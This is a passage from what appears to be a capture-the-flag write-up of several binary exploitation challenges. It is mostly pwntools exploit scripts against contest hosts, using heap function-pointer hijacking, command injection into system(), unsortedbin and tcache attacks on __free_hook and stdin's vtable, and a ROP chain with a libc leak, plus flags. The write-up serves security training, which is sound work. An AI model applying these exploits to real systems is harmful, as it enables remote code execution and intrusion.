<span class="hljs-comment"># YouNeedReallyGoodBugToBreakASLR!!</span>

context.arch = <span class="hljs-string">'amd64'</span>
host , port = <span class="hljs-string">'110.10.147.111'</span> , <span class="hljs-number">4141</span>
y = remote( host , port )


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read_heap</span><span class="hljs-params">( count , data )</span>:</span>
    <span class="hljs-keyword">return</span> p8( (<span class="hljs-number">0</span>&lt;&lt;<span class="hljs-number">6</span>) + count ) + data

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">store_heap</span><span class="hljs-params">( i )</span>:</span>
    <span class="hljs-keyword">return</span> p8( (<span class="hljs-number">3</span>&lt;&lt;<span class="hljs-number">6</span>) + i )

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load_heap</span><span class="hljs-params">( i , j )</span>:</span>
    <span class="hljs-keyword">return</span> p8( (<span class="hljs-number">1</span>&lt;&lt;<span class="hljs-number">6</span>) + i ) + p8( j )

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">new_heap_loop</span><span class="hljs-params">( count )</span>:</span>
    <span class="hljs-keyword">return</span> p8( (<span class="hljs-number">2</span>&lt;&lt;<span class="hljs-number">6</span>) + count )


p = <span class="hljs-string">''</span>
p += <span class="hljs-string">"\xc0\xd3\x94#2019"</span>
p += p64( <span class="hljs-number">0x77777770</span> )

p += store_heap( <span class="hljs-number">0x34</span> )           <span class="hljs-comment"># store output_func() to heap</span>
p += load_heap( <span class="hljs-number">0x33</span> , <span class="hljs-number">1</span> )        <span class="hljs-comment"># load it to Compress-&gt;size</span>

p += new_heap_loop( <span class="hljs-number">0x1c0</span> / <span class="hljs-number">8</span> )   <span class="hljs-comment"># Compress-&gt;size += 0x1c0 -&gt; output_func() + 0x1c0 = cat_falg()</span>

p += store_heap( <span class="hljs-number">0x33</span> )           <span class="hljs-comment"># store cat_flag() to heap </span>
p += load_heap( <span class="hljs-number">0x34</span> , <span class="hljs-number">1</span> )        <span class="hljs-comment"># load cat_flag() to Compress-&gt;func_ptr</span>
                                  <span class="hljs-comment"># Trigger Compress-&gt;func_ptr, trigger cat_flag()</span>
y.send( p32( len( p ) ) )
y.send( p )

y.interactive()</code></pre><h3 id="20000"><a class="header-link" href="#20000"></a>20000</h3>
<blockquote>
<p>limbo, tens</p>
</blockquote>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
from pwn <span class="hljs-built_in">import</span> *
<span class="hljs-built_in">import</span> sys
<span class="hljs-built_in">import</span> time
<span class="hljs-built_in">import</span> random

<span class="hljs-attr">binary</span> = <span class="hljs-string">"./20000"</span>
context.<span class="hljs-attr">binary</span> = binary
<span class="hljs-attr">elf</span> = ELF(binary)
<span class="hljs-keyword">if</span> <span class="hljs-attr">__name__</span> == '__main__':
  <span class="hljs-attr">i=20000</span>
  while <span class="hljs-number">1</span>:
    print i
    <span class="hljs-attr">r</span> = process(<span class="hljs-string">"20000"</span>)
    r.recv(<span class="hljs-number">1000</span>)
    r.sendline(str(i))
    r.recv(<span class="hljs-number">1000</span>)
    r.sendline(<span class="hljs-string">"%s"</span>*<span class="hljs-number">0</span>x200)
    r.wait()
    <span class="hljs-attr">c</span> = r.poll()
    <span class="hljs-keyword">if</span> c !=<span class="hljs-number">0</span>:
      r.interactive()
    r.close()
    <span class="hljs-attr">i-=1</span></code></pre><pre class="hljs"><code><span class="hljs-number">17394</span>
[+] Starting <span class="hljs-keyword">local</span> process <span class="hljs-string">'./20000'</span>: pid <span class="hljs-number">118780</span>
[*] Process <span class="hljs-string">'./20000'</span> stopped with <span class="hljs-keyword">exit</span> code -<span class="hljs-number">6</span> (SIGABRT) (pid <span class="hljs-number">118780</span>)
[*] Switching to interactive mode
sh: <span class="hljs-number">1</span>: %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s@: <span class="hljs-keyword">not</span> found
*** stack smashing detected ***: &lt;unknown&gt; terminated</code></pre><p>find 17394</p>
<p>lib_17394.so</p>
<pre class="hljs"><code>    read(<span class="hljs-number">0</span>, buf, <span class="hljs-number">0</span>x32uLL)<span class="hljs-comment">;</span>
    v3(<span class="hljs-name">buf</span>, buf)<span class="hljs-comment">;</span>
    v4(<span class="hljs-name">buf</span>)<span class="hljs-comment">;</span>
    sprintf(<span class="hljs-name">s</span>, <span class="hljs-string">"%s 2 &gt; /dev/null"</span>, buf)<span class="hljs-comment">;</span>
    system(<span class="hljs-name">s</span>)<span class="hljs-comment">;</span></code></pre><p>input &quot;sh&quot; get shell</p>
<p><code>flag{Are_y0u_A_h@cker_in_real-word?}</code></p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
from pwn <span class="hljs-built_in">import</span> *
<span class="hljs-built_in">import</span> sys
<span class="hljs-built_in">import</span> time
<span class="hljs-built_in">import</span> random
<span class="hljs-attr">host</span> = '<span class="hljs-number">110.10</span>.<span class="hljs-number">147.106</span>'
<span class="hljs-attr">port</span> = <span class="hljs-number">15959</span>

<span class="hljs-attr">binary</span> = <span class="hljs-string">"./20000"</span>
context.<span class="hljs-attr">binary</span> = binary
<span class="hljs-attr">elf</span> = ELF(binary)

<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
  <span class="hljs-attr">r</span> = process([binary, <span class="hljs-string">"0"</span>], <span class="hljs-attr">env={"LD_LIBRARY_PATH":"."})</span>
  pass
<span class="hljs-keyword">else</span>:
  <span class="hljs-attr">r</span> = remote(host ,port)

<span class="hljs-keyword">if</span> <span class="hljs-attr">__name__</span> == '__main__':
  r.recvuntil(<span class="hljs-string">"PUT : "</span>)
  r.sendline(<span class="hljs-string">"17394"</span>)
  r.recvuntil(<span class="hljs-string">"?\n"</span>)
  r.sendline(<span class="hljs-string">"sh"</span>)
  r.sendline(<span class="hljs-string">"cat flag"</span>)
  r.interactive()</code></pre><h3 id="maris_shop"><a class="header-link" href="#maris_shop"></a>Maris_shop</h3>
<blockquote>
<p>Billy</p>
<ul class="list">
<li>Raise the money by integer overflow</li>
<li>Buy 16 different items and it will free all and leave last item unclear.</li>
<li>UAF on unsorted bin, we can leak libc address and do unsortedbin attack</li>
<li>Overwrite stdin-&gt;_IO_buf_end by unsortedbin attack</li>
<li>Calling fgets will overwrite the stdin-&gt;vtable</li>
<li>Jump to one_gadget and get shell</li>
</ul>
</blockquote>
<pre class="hljs"><code>from pwn import *

#r = process([<span class="hljs-string">"./Maris_shop"</span>],env={<span class="hljs-string">"LD_PRELOAD"</span>:<span class="hljs-string">"./libc.so.6"</span>})
r = remote(<span class="hljs-string">"110.10.147.102"</span>, 7767 )
#r.interactive()
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.recvline()
price = int(r.recvline().<span class="hljs-keyword">split</span>('-')[-1])
num = 0xffffd8f0/price
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,str(num))
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"4"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)

have = []
<span class="hljs-keyword">while</span> len(have) &lt; 16:
    r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
    r.recvline()
    <span class="hljs-keyword">total</span> = [ r.recvline().<span class="hljs-keyword">split</span>(<span class="hljs-string">"."</span>)[-1] <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6)]

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6):
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">total</span>[i] not <span class="hljs-keyword">in</span> have:
            have.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">total</span>[i])
            r.sendlineafter(<span class="hljs-string">":"</span>,str(i+1))
            r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
            <span class="hljs-keyword">break</span>
        elif i==5:
            r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"7"</span>)
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)


have[0] = <span class="hljs-string">""</span>
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"4"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)
<span class="hljs-keyword">while</span> len(have) &lt; 17:
        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
        r.recvline()
        <span class="hljs-keyword">total</span> = [ r.recvline().<span class="hljs-keyword">split</span>(<span class="hljs-string">"."</span>)[-1] <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6)]

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6):
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">total</span>[i] not <span class="hljs-keyword">in</span> have:
                        have.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">total</span>[i])
                        r.sendlineafter(<span class="hljs-string">":"</span>,str(i+1))
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
                        <span class="hljs-keyword">break</span>
                elif i==5:
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"7"</span>)


r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"4"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"2"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
have = [have[-1]]
<span class="hljs-keyword">while</span> len(have) &lt; 3:
        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
        r.recvline()
        <span class="hljs-keyword">total</span> = [ r.recvline().<span class="hljs-keyword">split</span>(<span class="hljs-string">"."</span>)[-1] <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6)]

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6):
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">total</span>[i] not <span class="hljs-keyword">in</span> have:
                        have.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">total</span>[i])
                        r.sendlineafter(<span class="hljs-string">":"</span>,str(i+1))
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
                        <span class="hljs-keyword">break</span>
                elif i==5:
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"7"</span>)

r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"4"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)

r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"3"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"15"</span>)

r.recvuntil(<span class="hljs-string">"Amount:"</span>)
libc = int(r.recvline()) - 0x3c4b78
<span class="hljs-keyword">print</span> hex(libc)

<span class="hljs-keyword">while</span> len(have)&lt;4:
    r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
        r.recvline()
    <span class="hljs-keyword">total</span> = [ r.recvline().<span class="hljs-keyword">split</span>(<span class="hljs-string">"."</span>)[-1] <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6)]
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6):
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">total</span>[i] ==  have[1]:
                        have.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">total</span>[i])
                        r.sendlineafter(<span class="hljs-string">":"</span>,str(i+1))
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"-616"</span>)
                        <span class="hljs-keyword">break</span>
                elif i==5:
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"7"</span>)

have = have[:-1]
<span class="hljs-keyword">while</span> len(have) &lt; 4:
        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
        r.recvline()
        <span class="hljs-keyword">total</span> = [ r.recvline().<span class="hljs-keyword">split</span>(<span class="hljs-string">"."</span>)[-1] <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6)]

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(6):
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">total</span>[i] not <span class="hljs-keyword">in</span> have:
                        have.<span class="hljs-keyword">append</span>(<span class="hljs-keyword">total</span>[i])
                        r.sendlineafter(<span class="hljs-string">":"</span>,str(i+1))
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
                        <span class="hljs-keyword">break</span>
                elif i==5:
                        r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"7"</span>)

context.<span class="hljs-keyword">arch</span> = <span class="hljs-string">"amd64"</span>
data =[libc+0x3c6790,0,libc+0xf02a4] + [0]*7 + [libc+0x3c4950]
payload = <span class="hljs-string">"\x00"</span>*5+flat(data)

r.sendlineafter(<span class="hljs-string">":"</span>,payload)
r.interactive()

</code></pre><h3 id="god-the-reum"><a class="header-link" href="#god-the-reum"></a>god-the-reum</h3>
<blockquote>
<p>Billy</p>
<ul class="list">
<li>Tcache was introduced in libc-2.27</li>
<li>There are double free and UAF bugs in this binary</li>
<li>Free a unsorted bin to leak libc address</li>
<li>Use tcache attack to malloc at __free_hook</li>
<li>Overwrite __free_hook with one_gadget</li>
<li>Free and get shell</li>
</ul>
</blockquote>
<pre class="hljs"><code>
from pwn <span class="hljs-keyword">import</span> *

#r = process([<span class="hljs-string">'god-the-reum'</span>])
r = remote(<span class="hljs-string">"110.10.147.103"</span>, <span class="hljs-number">10001</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1280"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)

r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"3"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1280"</span>)

r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"4"</span>)
r.recvuntil(<span class="hljs-string">"ballance "</span>)
libc = <span class="hljs-keyword">int</span>(r.recvline())<span class="hljs-number">-0x3ebca0</span>
<span class="hljs-built_in">print</span> hex(libc)

r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"3"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"3"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)

r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"6"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,p64(libc+<span class="hljs-number">0x3ed</span>8e8))

r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"6"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"3"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,p64(libc+<span class="hljs-number">0x4f</span>322))

r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"3"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"0"</span>)



r.interactive()</code></pre><h3 id="aeiou"><a class="header-link" href="#aeiou"></a>aeiou</h3>
<blockquote>
<p>tens</p>
</blockquote>
<p>trial and error....</p>
<p>input</p>
<pre class="hljs"><code>payload = <span class="hljs-string">"D"</span>*0x2000
Tn(<span class="hljs-name">len</span>(<span class="hljs-name">payload</span>),payload)</code></pre><p>No crash but the program hangs.</p>
<pre class="hljs"><code>payload = <span class="hljs-string">"\x00"</span>*0x2000
Tn(<span class="hljs-name">len</span>(<span class="hljs-name">payload</span>),payload)</code></pre><p>Successfully bypass stack canary and overwrite ret address to 0.</p>
<pre class="hljs"><code>payload = <span class="hljs-string">"\x00"</span><span class="hljs-number">0</span>x1018 + <span class="hljs-string">"D"</span><span class="hljs-number">0</span>x200 + <span class="hljs-string">"\x00"</span>*0x800
Teaching_numbers(<span class="hljs-name">len</span>(<span class="hljs-name">payload</span>),payload)</code></pre><p>Overwrite ret address to 0x4444444444444444</p>
<p>ROP and get shell</p>
<p><code>FLAG{CheEr_Up!_If_you_4re_pRepareD_t0_ad4pt_aNd_lEaRN,you_C4n_41lC1ear}</code></p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
from pwn <span class="hljs-built_in">import</span> *
<span class="hljs-built_in">import</span> sys
<span class="hljs-built_in">import</span> time
<span class="hljs-built_in">import</span> random
<span class="hljs-attr">host</span> = '<span class="hljs-number">110.10</span>.<span class="hljs-number">147.109</span>'
<span class="hljs-attr">port</span> = <span class="hljs-number">17777</span>

<span class="hljs-attr">binary</span> = <span class="hljs-string">"./aeiou"</span>
context.<span class="hljs-attr">binary</span> = binary
<span class="hljs-attr">elf</span> = ELF(binary)
try:
  <span class="hljs-attr">libc</span> = ELF(<span class="hljs-string">"./libc.so.6"</span>)
  log.success(<span class="hljs-string">"libc load success"</span>)
  <span class="hljs-attr">system_off</span> = libc.symbols.system
  log.success(<span class="hljs-string">"system_off = "</span>+hex(system_off))
except:
  log.failure(<span class="hljs-string">"libc not found !"</span>)


<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
  <span class="hljs-attr">r</span> = process([binary, <span class="hljs-string">"0"</span>], <span class="hljs-attr">env={"LD_LIBRARY_PATH":"."})</span>

<span class="hljs-keyword">else</span>:
  <span class="hljs-attr">r</span> = remote(host ,port)

def Tn(size,data):
  r.recvuntil(<span class="hljs-string">"&gt;&gt;"</span>)
  r.sendline(<span class="hljs-string">"3"</span>)
  r.recvuntil(<span class="hljs-string">"!"</span>)
  r.sendline(str(size))
  r.send(data)


<span class="hljs-attr">puts_plt</span> = <span class="hljs-number">0</span>x0400B58
<span class="hljs-attr">pop_rdi</span> = <span class="hljs-number">0</span>x00000000004026f3
<span class="hljs-attr">pop_rsi_15</span> = <span class="hljs-number">0</span>x00000000004026f1
<span class="hljs-attr">pop_rsp_3</span> = <span class="hljs-number">0</span>x00000000004026ed
<span class="hljs-attr">puts_got</span> = <span class="hljs-number">0</span>x0603F50

<span class="hljs-attr">buf</span> = <span class="hljs-number">0</span>x00605000-<span class="hljs-number">0</span>x200
<span class="hljs-attr">read_plt</span> = <span class="hljs-number">0</span>x000400B88

<span class="hljs-keyword">if</span> <span class="hljs-attr">__name__</span> == '__main__':
  <span class="hljs-attr">payload</span> = (<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0</span>x1018 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +
            p64(pop_rdi) + p64(<span class="hljs-number">0</span>) + p64(pop_rsi_15) + p64(buf) + p64(<span class="hljs-number">0</span>) + p64(read_plt) +
            p64(pop_rsp_3) + p64(buf-<span class="hljs-number">0</span>x18) +
            <span class="hljs-string">"\x00"</span>*<span class="hljs-number">0</span>x800)
  Tn(len(payload),payload)
  r.recvuntil(<span class="hljs-string">"ou :)\n"</span>)
  libc.<span class="hljs-attr">address</span> = u64(r.recvuntil(<span class="hljs-string">"\n"</span>)[:-<span class="hljs-number">1</span>].ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - libc.symbols['puts']
  print(<span class="hljs-string">"libc.address = {}"</span>.format(hex(libc.address)))
  r.sendline(p64(libc.address+<span class="hljs-number">0</span>x4526a))
  r.interactive()</code></pre>        </article>
      </div>
    </div>
  </body>
</html>
